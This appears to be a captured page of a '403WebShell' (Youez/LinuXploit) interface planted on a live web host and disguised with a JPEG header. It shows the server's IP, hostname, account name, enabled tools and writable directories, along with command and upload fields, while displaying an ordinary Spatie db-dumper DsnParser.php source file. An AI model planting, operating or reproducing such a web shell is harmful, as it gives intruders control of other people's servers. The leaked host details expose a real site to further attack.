����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.188.80.46
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/spatie/db-dumper/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/spatie/db-dumper/src/DsnParser.php
<?php

namespace Spatie\DbDumper;

use Spatie\DbDumper\Exceptions\InvalidDatabaseUrl;

class DsnParser
{
    protected string $dsn;

    public function __construct(string $dsn)
    {
        $this->dsn = $dsn;
    }

    public function parse(): array
    {
        $rawComponents = $this->parseUrl($this->dsn);

        $decodedComponents = $this->parseNativeTypes(
            array_map('rawurldecode', $rawComponents)
        );

        return array_merge(
            $this->getPrimaryOptions($decodedComponents),
            $this->getQueryOptions($rawComponents)
        );
    }

    protected function getPrimaryOptions($url): array
    {
        return array_filter([
            'database' => $this->getDatabase($url),
            'host' => $url['host'] ?? null,
            'port' => $url['port'] ?? null,
            'username' => $url['user'] ?? null,
            'password' => $url['pass'] ?? null,
        ], static fn ($value) => ! is_null($value));
    }

    protected function getDatabase($url): ?string
    {
        $path = $url['path'] ?? null;

        if (! $path) {
            return null;
        }

        if ($path === '/') {
            return null;
        }

        if (isset($url['scheme']) && str_contains($url['scheme'], 'sqlite')) {
            return $path;
        }

        return trim($path, '/');
    }

    protected function getQueryOptions($url)
    {
        $queryString = $url['query'] ?? null;

        if (! $queryString) {
            return [];
        }

        $query = [];

        parse_str($queryString, $query);

        return $this->parseNativeTypes($query);
    }

    protected function parseUrl($url): array
    {
        $url = preg_replace('#^(sqlite3?):///#', '$1://null/', $url);

        $parsedUrl = parse_url($url);

        if ($parsedUrl === false) {
            throw InvalidDatabaseUrl::invalidUrl($url);
        }

        return $parsedUrl;
    }

    protected function parseNativeTypes($value)
    {
        if (is_array($value)) {
            return array_map([$this, 'parseNativeTypes'], $value);
        }

        if (! is_string($value)) {
            return $value;
        }

        $parsedValue = json_decode($value, true);

        if (json_last_error() === JSON_ERROR_NONE) {
            return $parsedValue;
        }

        return $value;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit